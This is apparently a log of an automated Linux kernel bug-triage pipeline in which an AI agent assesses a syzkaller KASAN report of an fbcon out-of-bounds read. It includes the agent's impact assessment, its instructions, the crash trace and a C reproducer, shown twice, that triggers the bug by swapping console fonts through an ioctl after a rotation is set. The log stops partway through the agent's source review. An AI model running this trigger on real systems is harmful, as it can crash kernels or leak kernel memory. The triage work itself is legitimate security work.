| 0/0 |
2026/08/12 15:21 |
flow |
assessment-security |
33m
Results: map[DenialOfService:true Explanation:**Bug Analysis:**
The bug is a slab-out-of-bounds read in the framebuffer console (`fbcon`)
subsystem. It occurs when the console is configured to be rotated (e.g., via the
`fbcon=rotate:1` kernel command line parameter or by root writing to
`/sys/class/graphics/fbcon/rotate_all`).
When the console is rotated, `fbcon` allocates a separate buffer
(`par->rotated.buf`) to store the rotated font glyphs. The size of this buffer
is calculated based on the font's width, height, and the number of characters
(`vc->vc_font.charcount`).
The vulnerability is triggered when a user changes the console font using the
`KDFONTOP` ioctl to a new font that has the **same width and height** as the
current font, but a **larger character count** (e.g., switching from a
256-character font to a 512-character font).
In `fbcon_do_set_font()`, the code checks if the font dimensions have changed
(`resize = (w != vc->vc_font.width) || (h != vc->vc_font.height);`). Because the
dimensions are identical, `resize` evaluates to `false`. Consequently, `fbcon`
skips calling `vc_resize()`, which in turn skips the `fbcon_modechanged()` hook
that would normally reallocate `par->rotated.buf` to accommodate the larger
character count.
As a result, `vc->vc_font.charcount` is updated to 512, but `par->rotated.buf`
remains sized for only 256 characters. When the screen is redrawn and characters
with an index >= 256 (i.e., the 9th bit set) are rendered, drawing functions
like `cw_putcs_aligned()` use the character index to calculate the offset into
`par->rotated.buf`. This results in an out-of-bounds read past the end of the
allocated slab object.
**Security Impact:**
* **Exploitable:** Yes. The out-of-bounds heap memory is read and subsequently
written to the framebuffer as pixel data. An attacker who can read the
framebuffer (e.g., via `/dev/fb0` if permissions allow, or by
physically/remotely viewing the screen) can use this to leak sensitive kernel
memory (such as pointers to defeat KASLR or cryptographic keys).
* **Denial of Service:** Yes. If the out-of-bounds read crosses into an unmapped
page, it will trigger a page fault in kernel space, leading to a kernel panic
and system crash.
* **Accessible From Unprivileged Processes:** Yes. A local unprivileged user
logged into a virtual console (owning the `/dev/ttyX` device) can issue the
`KDFONTOP` ioctl to change the font and trigger the bug, provided the system is
already configured with a rotated console.
* **Accessible From User Namespaces:** Yes, similar to the above, as the
`KDFONTOP` ioctl relies on tty ownership rather than global capabilities. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/08/12 15:21 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <errno.h>
int main(void) {
int fd = open("/dev/tty1", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/tty1: %s\n", strerror(errno));
exit(1);
}
printf("[+] open /dev/tty1 successful.\n");
// Activate the foreground console
if (ioctl(fd, VT_ACTIVATE, 1) < 0) {
printf("[-] Failed to VT_ACTIVATE: %s\n", strerror(errno));
} else {
printf("[+] VT_ACTIVATE successful.\n");
}
if (ioctl(fd, VT_WAITACTIVE, 1) < 0) {
printf("[-] Failed to VT_WAITACTIVE: %s\n", strerror(errno));
} else {
printf("[+] VT_WAITACTIVE successful.\n");
}
// Enable software cursor
const char *esc_seq = "\033[?18;0;0c";
if (write(fd, esc_seq, strlen(esc_seq)) < 0) {
printf("[-] Failed to write escape sequence: %s\n", strerror(errno));
exit(1);
}
printf("[+] Enable software cursor successful.\n");
// Set initial 256-character font
struct console_font_op cfo = {0};
cfo.op = KD_FONT_OP_SET;
cfo.flags = 0;
cfo.width = 8;
cfo.height = 16;
cfo.charcount = 256;
unsigned char *font_data_256 = calloc(256, 32);
if (!font_data_256) {
printf("[-] Failed to allocate font_data_256\n");
exit(1);
}
cfo.data = font_data_256;
if (ioctl(fd, KDFONTOP, &cfo) < 0) {
printf("[-] Failed to set 256-char font: %s\n", strerror(errno));
} else {
printf("[+] Set 256-char font successful.\n");
}
// Set screen rotation to Clockwise (1)
int rot_fd = open("/sys/class/graphics/fbcon/rotate_all", O_WRONLY);
if (rot_fd < 0) {
printf("[-] Failed to open rotate_all: %s\n", strerror(errno));
} else {
if (write(rot_fd, "1", 1) < 0) {
printf("[-] Failed to write to rotate_all: %s\n", strerror(errno));
} else {
printf("[+] Set rotation to CW successful.\n");
}
close(rot_fd);
}
// Trigger bug by setting a 512-character font
cfo.charcount = 512;
unsigned char *font_data_512 = calloc(512, 32);
if (!font_data_512) {
printf("[-] Failed to allocate font_data_512\n");
exit(1);
}
cfo.data = font_data_512;
if (ioctl(fd, KDFONTOP, &cfo) < 0) {
printf("[-] Failed to set 512-char font: %s\n", strerror(errno));
} else {
printf("[+] Set 512-char font successful.\n");
}
close(fd);
free(font_data_256);
free(font_data_512);
return 0;
}
]
|
| 2/1 |
2026/08/12 15:21 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/1a0aec36943dd0206494f9376d07cfbf81ffc6ec]
|
| 3/1 |
2026/08/12 15:22 |
action |
kernel-builder |
15m
Results: map[KernelObj:/app/workdir/cache/build/fcbeaa90f5c00d2d8b2141695e1d17799fd08088]
|
| 4/1 |
2026/08/12 15:38 |
action |
codesearch-prepare |
10m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/12 15:49 |
agent |
expert |
5m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
==================================================================
BUG: KASAN: slab-out-of-bounds in __fb_pad_aligned_buffer include/linux/fb.h:646 [inline]
BUG: KASAN: slab-out-of-bounds in fb_pad_aligned_buffer+0x133/0x160 drivers/video/fbdev/core/fbmem.c:96
Read of size 1 at addr ffff8880559fb200 by task syz-executor146/5994
CPU: 0 UID: 0 PID: 5994 Comm: syz-executor146 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
__fb_pad_aligned_buffer include/linux/fb.h:646 [inline]
fb_pad_aligned_buffer+0x133/0x160 drivers/video/fbdev/core/fbmem.c:96
cw_putcs_aligned drivers/video/fbdev/core/fbcon_cw.c:105 [inline]
cw_putcs+0x99c/0xbb0 drivers/video/fbdev/core/fbcon_cw.c:159
fbcon_putcs+0x3b2/0x480 drivers/video/fbdev/core/fbcon.c:1392
con_putc+0x144/0x170 drivers/tty/vt/vt.c:330
hide_softcursor drivers/tty/vt/vt.c:872 [inline]
hide_cursor+0x1b6/0x230 drivers/tty/vt/vt.c:884
redraw_screen+0x5d4/0x760 drivers/tty/vt/vt.c:985
fbcon_do_set_font+0x5b3/0x8c0 drivers/video/fbdev/core/fbcon.c:2441
fbcon_set_font+0x4be/0x730 drivers/video/fbdev/core/fbcon.c:2518
con_font_set drivers/tty/vt/vt.c:4992 [inline]
con_font_op+0x9c0/0x1040 drivers/tty/vt/vt.c:5032
vt_k_ioctl drivers/tty/vt/vt_ioctl.c:474 [inline]
vt_ioctl+0xe00/0x3150 drivers/tty/vt/vt_ioctl.c:745
tty_ioctl+0x26a/0x1640 drivers/tty/tty_io.c:2792
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:597 [inline]
__se_sys_ioctl fs/ioctl.c:583 [inline]
__x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f226c5ec57b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007ffdf3c4c720 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007f226c5ec57b
RDX: 00007ffdf3c4c780 RSI: 0000000000004b72 RDI: 0000000000000003
RBP: 000055557cf01770 R08: 00007f226c6747c0 R09: 0000000000000001
R10: 0000000000000000 R11: 0000000000000246 R12: 000055557cf03780
R13: 00007ffdf3c4c780 R14: 00007f226c66fcc0 R15: 0000000000000002
</TASK>
Allocated by task 5994:
kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
kasan_save_track+0x14/0x30 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5334 [inline]
__kmalloc_noprof+0x322/0x820 mm/slub.c:5359
_kmalloc_noprof include/linux/slab.h:992 [inline]
_kmalloc_array_noprof include/linux/slab.h:1208 [inline]
font_data_rotate+0x353/0x3b0 lib/fonts/font_rotate.c:231
fbcon_rotate_font+0x2bf/0x510 drivers/video/fbdev/core/fbcon_rotate.c:33
fbcon_modechanged+0x218/0x7f0 drivers/video/fbdev/core/fbcon.c:2664
fbcon_set_all_vcs+0x39b/0x470 drivers/video/fbdev/core/fbcon.c:2725
fbcon_rotate_all drivers/video/fbdev/core/fbcon.c:254 [inline]
rotate_all_store+0x31e/0x410 drivers/video/fbdev/core/fbcon.c:3218
dev_attr_store+0x58/0x80 drivers/base/core.c:2505
sysfs_kf_write+0xf2/0x150 fs/sysfs/file.c:145
kernfs_fop_write_iter+0x3e0/0x5f0 fs/kernfs/file.c:345
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff8880559fa000
which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 512 bytes to the right of
allocated 4096-byte region [ffff8880559fa000, ffff8880559fb000)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x559f8
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88801bc43040 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88801bc43040 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 6000, tgid 6000 (dhcpcd-run-hook), ts 75833354126, free_ts 75779299880
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
alloc_slab_page mm/slub.c:3266 [inline]
allocate_slab mm/slub.c:3380 [inline]
new_slab+0xa2/0x640 mm/slub.c:3426
refill_objects+0xe3/0x410 mm/slub.c:7310
refill_sheaf mm/slub.c:2804 [inline]
__pcs_replace_empty_main+0x376/0x680 mm/slub.c:4675
alloc_from_pcs mm/slub.c:4773 [inline]
slab_alloc_node mm/slub.c:4905 [inline]
__kmalloc_cache_noprof+0x479/0x6c0 mm/slub.c:5485
_kmalloc_noprof include/linux/slab.h:988 [inline]
_kzalloc_noprof include/linux/slab.h:1309 [inline]
tomoyo_dump_page+0x410/0x540 security/tomoyo/domain.c:916
tomoyo_scan_bprm security/tomoyo/condition.c:130 [inline]
tomoyo_condition+0x749/0x3b60 security/tomoyo/condition.c:1120
tomoyo_check_acl+0x1b7/0x410 security/tomoyo/domain.c:177
tomoyo_execute_permission+0x176/0x4b0 security/tomoyo/file.c:620
tomoyo_find_next_domain+0x38d/0x2010 security/tomoyo/domain.c:763
tomoyo_bprm_check_security security/tomoyo/tomoyo.c:102 [inline]
tomoyo_bprm_check_security+0x12d/0x1d0 security/tomoyo/tomoyo.c:92
security_bprm_check+0x87/0x1e0 security/security.c:820
search_binary_handler fs/exec.c:1684 [inline]
exec_binprm fs/exec.c:1726 [inline]
bprm_execve fs/exec.c:1778 [inline]
bprm_execve+0x84b/0x1730 fs/exec.c:1754
do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1876
page last free pid 5875 tgid 5875 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
free_pages_prepare+0x586/0xd80 mm/page_alloc.c:1451
__free_contig_range_common+0x14f/0x250 mm/page_alloc.c:6897
__free_contig_range mm/page_alloc.c:6942 [inline]
free_pages_bulk+0x12a/0x200 mm/page_alloc.c:5257
vm_area_free_pages+0xad/0x2b0 mm/vmalloc.c:3461
vfree mm/vmalloc.c:3510 [inline]
vfree+0x107/0x750 mm/vmalloc.c:3484
delayed_vfree_work+0x56/0x80 mm/vmalloc.c:3414
process_one_work+0xa23/0x1940 kernel/workqueue.c:3322
process_scheduled_works kernel/workqueue.c:3405 [inline]
worker_thread+0x5ef/0xe50 kernel/workqueue.c:3486
kthread+0x370/0x450 kernel/kthread.c:436
ret_from_fork+0x72b/0xd50 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff8880559fb100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff8880559fb180: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff8880559fb200: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
^
ffff8880559fb280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff8880559fb300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <errno.h>
int main(void) {
int fd = open("/dev/tty1", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/tty1: %s\n", strerror(errno));
exit(1);
}
printf("[+] open /dev/tty1 successful.\n");
// Activate the foreground console
if (ioctl(fd, VT_ACTIVATE, 1) < 0) {
printf("[-] Failed to VT_ACTIVATE: %s\n", strerror(errno));
} else {
printf("[+] VT_ACTIVATE successful.\n");
}
if (ioctl(fd, VT_WAITACTIVE, 1) < 0) {
printf("[-] Failed to VT_WAITACTIVE: %s\n", strerror(errno));
} else {
printf("[+] VT_WAITACTIVE successful.\n");
}
// Enable software cursor
const char *esc_seq = "\033[?18;0;0c";
if (write(fd, esc_seq, strlen(esc_seq)) < 0) {
printf("[-] Failed to write escape sequence: %s\n", strerror(errno));
exit(1);
}
printf("[+] Enable software cursor successful.\n");
// Set initial 256-character font
struct console_font_op cfo = {0};
cfo.op = KD_FONT_OP_SET;
cfo.flags = 0;
cfo.width = 8;
cfo.height = 16;
cfo.charcount = 256;
unsigned char *font_data_256 = calloc(256, 32);
if (!font_data_256) {
printf("[-] Failed to allocate font_data_256\n");
exit(1);
}
cfo.data = font_data_256;
if (ioctl(fd, KDFONTOP, &cfo) < 0) {
printf("[-] Failed to set 256-char font: %s\n", strerror(errno));
} else {
printf("[+] Set 256-char font successful.\n");
}
// Set screen rotation to Clockwise (1)
int rot_fd = open("/sys/class/graphics/fbcon/rotate_all", O_WRONLY);
if (rot_fd < 0) {
printf("[-] Failed to open rotate_all: %s\n", strerror(errno));
} else {
if (write(rot_fd, "1", 1) < 0) {
printf("[-] Failed to write to rotate_all: %s\n", strerror(errno));
} else {
printf("[+] Set rotation to CW successful.\n");
}
close(rot_fd);
}
// Trigger bug by setting a 512-character font
cfo.charcount = 512;
unsigned char *font_data_512 = calloc(512, 32);
if (!font_data_512) {
printf("[-] Failed to allocate font_data_512\n");
exit(1);
}
cfo.data = font_data_512;
if (ioctl(fd, KDFONTOP, &cfo) < 0) {
printf("[-] Failed to set 512-char font: %s\n", strerror(errno));
} else {
printf("[+] Set 512-char font successful.\n");
}
close(fd);
free(font_data_256);
free(font_data_512);
return 0;
}
Reply: **Bug Analysis:**
The bug is a slab-out-of-bounds read in the framebuffer console (`fbcon`) subsystem. It occurs when the console is configured to be rotated (e.g., via the `fbcon=rotate:1` kernel command line parameter or by root writing to `/sys/class/graphics/fbcon/rotate_all`).
When the console is rotated, `fbcon` allocates a separate buffer (`par->rotated.buf`) to store the rotated font glyphs. The size of this buffer is calculated based on the font's width, height, and the number of characters (`vc->vc_font.charcount`).
The vulnerability is triggered when a user changes the console font using the `KDFONTOP` ioctl to a new font that has the **same width and height** as the current font, but a **larger character count** (e.g., switching from a 256-character font to a 512-character font).
In `fbcon_do_set_font()`, the code checks if the font dimensions have changed (`resize = (w != vc->vc_font.width) || (h != vc->vc_font.height);`). Because the dimensions are identical, `resize` evaluates to `false`. Consequently, `fbcon` skips calling `vc_resize()`, which in turn skips the `fbcon_modechanged()` hook that would normally reallocate `par->rotated.buf` to accommodate the larger character count.
As a result, `vc->vc_font.charcount` is updated to 512, but `par->rotated.buf` remains sized for only 256 characters. When the screen is redrawn and characters with an index >= 256 (i.e., the 9th bit set) are rendered, drawing functions like `cw_putcs_aligned()` use the character index to calculate the offset into `par->rotated.buf`. This results in an out-of-bounds read past the end of the allocated slab object.
**Security Impact:**
* **Exploitable:** Yes. The out-of-bounds heap memory is read and subsequently written to the framebuffer as pixel data. An attacker who can read the framebuffer (e.g., via `/dev/fb0` if permissions allow, or by physically/remotely viewing the screen) can use this to leak sensitive kernel memory (such as pointers to defeat KASLR or cryptographic keys).
* **Denial of Service:** Yes. If the out-of-bounds read crosses into an unmapped page, it will trigger a page fault in kernel space, leading to a kernel panic and system crash.
* **Accessible From Unprivileged Processes:** Yes. A local unprivileged user logged into a virtual console (owning the `/dev/ttyX` device) can issue the `KDFONTOP` ioctl to change the font and trigger the bug, provided the system is already configured with a rotated console.
* **Accessible From User Namespaces:** Yes, similar to the above, as the `KDFONTOP` ioctl relies on tty ownership rather than global capabilities.
|
| 6/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 11144
output: 44
thoughts: 281
Thoughts: **Analyzing a KASAN Slab-Out-of-Bounds Read in the Framebuffer Console**
Okay, so I'm looking at this bug report describing a KASAN slab-out-of-bounds read within the framebuffer console, specifically in the `__fb_pad_aligned_buffer` function. The call chain is quite extensive, tracing through a number of key functions: `fb_pad_aligned_buffer`, `cw_putcs_aligned`, `cw_putcs`, `fbcon_putcs`, and all the way down to common console operations like `con_putc`, cursor manipulation, screen redraws, and font management (`fbcon_do_set_font`, `fbcon_set_font`, `con_font_set`, etc.), even touching the VT layer (`vt_k_ioctl`, `vt_ioctl`). Intriguing.
The core issue appears to be an out-of-bounds read when interacting with a font buffer. The allocation trace is particularly useful here. It shows the font buffer being allocated through `font_data_rotate` -> `fbcon_rotate_font` -> `fbcon_modechanged` -> `fbcon_set_all_vcs` -> `fbcon_rotate_all` -> `rotate_all_store`. This is a good trail to follow.
The reproducer is key: it involves setting a small (256-character) font, rotating the screen, and *then* setting a larger (512-character) font. The bug is triggered during the 512-character font setting. This provides a clear, well-defined scenario that's helpful.
My immediate next step will be to dive into the source code for `fb_pad_aligned_buffer` and `cw_putcs_aligned`. I suspect the issue lies in how the buffer is resized or how font data is copied during rotation or font switching, potentially involving some kind of alignment or padding logic. We need to determine if an incorrect size is being calculated, if the alignment is off, or if an off-by-one error is happening during the buffer access. I'll focus on how the font data, especially when it changes sizes, interacts with the allocated buffer and any alignment requirements.
|
| 7/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbmem.c Name:fb_pad_aligned_buffer]
Results: map[SourceCode: 91: /*
92: * Data padding functions.
93: */
94: void fb_pad_aligned_buffer(u8 *dst, u32 d_pitch, const u8 *src, u32 s_pitch, u32 height)
95: {
96: __fb_pad_aligned_buffer(dst, d_pitch, src, s_pitch, height);
97: }
SourceFile:drivers/video/fbdev/core/fbmem.c]
|
| 8/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 12096
output: 39
thoughts: 24
Thoughts: Here's my take on those thoughts, tailored for an expert audience:
**Diving into the Framebuffer Padding**
Okay, so I'm thinking, "Where's the padding definition for framebuffer alignment?" The most logical place to start is `include/linux/fb.h`. I need to verify how `__fb_pad_aligned_buffer` is defined, or more specifically, *what* it's defining. I have a hunch it deals with memory alignment to optimize access, probably for DMA operations or to ensure proper word alignment. I need to refresh my memory on the underlying data structures and potential implications on hardware. Time to go dig into that header and see exactly what's up.
|
| 9/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/linux/fb.h Name:__fb_pad_aligned_buffer]
Results: map[SourceCode: 636: static inline void __fb_pad_aligned_buffer(u8 *dst, u32 d_pitch, const u8 *src, u32 s_pitch,
637: u32 height)
638: {
639: u32 i, j;
640:
641: d_pitch -= s_pitch;
642:
643: for (i = height; i--; ) {
644: /* s_pitch is a few bytes at the most, memcpy is suboptimal */
645: for (j = 0; j < s_pitch; j++)
646: *dst++ = *src++;
647: dst += d_pitch;
648: }
649: }
SourceFile:include/linux/fb.h]
|
| 10/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 12550
output: 45
thoughts: 25
Thoughts: Here's my summary, as though I'm thinking through this myself:
**Debugging an Out-of-Bounds Read**
Okay, so I've got an out-of-bounds read, and the debugger is pointing right at `*src++`. That narrows it down considerably. The problem has to be with how `src` is being handled in this part of the code, or possibly with the data it's pointing to. Let me just pause here and ensure I am thinking of the correct `src` variable, and its value is as expected.
I think the important function to examine here is `cw_putcs_aligned`. Since the error occurs at this location it is important to understand where the variable `src` is defined, and what values it can hold. I will need to check how itβs being passed to and used within that function. I need to understand its relationship to the buffer it's likely reading from, and whether the alignment constraints are playing a role. I need to be sure that the checks for the bounds of `src`'s data are valid. I need to be thinking about how I would reproduce this error, and how this relates to other sections of the code. Is the problem due to bad input data? Is it a buffer overflow elsewhere that's corrupting the pointer? I really need to dig in here.
|
| 11/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_cw.c Name:cw_putcs_aligned]
Results: map[SourceCode: 83: static inline void cw_putcs_aligned(struct vc_data *vc, struct fb_info *info,
84: const u16 *s, u32 attr, u32 cnt,
85: u32 d_pitch, u32 s_pitch, u32 cellsize,
86: struct fb_image *image, u8 *buf, u8 *dst)
87: {
88: struct fbcon_par *par = info->fbcon_par;
89: u16 charmask = vc->vc_hi_font_mask ? 0x1ff : 0xff;
90: u32 idx = font_glyph_pitch(vc->vc_font.height);
91: u8 *src;
92:
93: while (cnt--) {
94: src = par->rotated.buf + (scr_readw(s++) & charmask) * cellsize;
95:
96: if (attr) {
97: cw_update_attr(buf, src, attr, vc);
98: src = buf;
99: }
100:
101: if (likely(idx == 1))
102: __fb_pad_aligned_buffer(dst, d_pitch, src, idx,
103: vc->vc_font.width);
104: else
105: fb_pad_aligned_buffer(dst, d_pitch, src, idx,
106: vc->vc_font.width);
107:
108: dst += d_pitch * vc->vc_font.width;
109: }
110:
111: info->fbops->fb_imageblit(info, image);
112: }
SourceFile:drivers/video/fbdev/core/fbcon_cw.c]
|
| 12/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 13429
output: 45
thoughts: 379
Thoughts: **Debugging an Out-of-Bounds Read in Font Rotation**
Okay, so I'm looking at this crash, and it's pointing to an out-of-bounds read. The core of the problem seems to be the `src` pointer in this `font_data_rotate` function: `src = par->rotated.buf + (scr_readw(s++) & charmask) * cellsize;`. It's clearly a classic buffer overrun scenario. The `src` pointer is derived from `par->rotated.buf` and an index calculated from a character read from some stream, potentially offset by some mask.
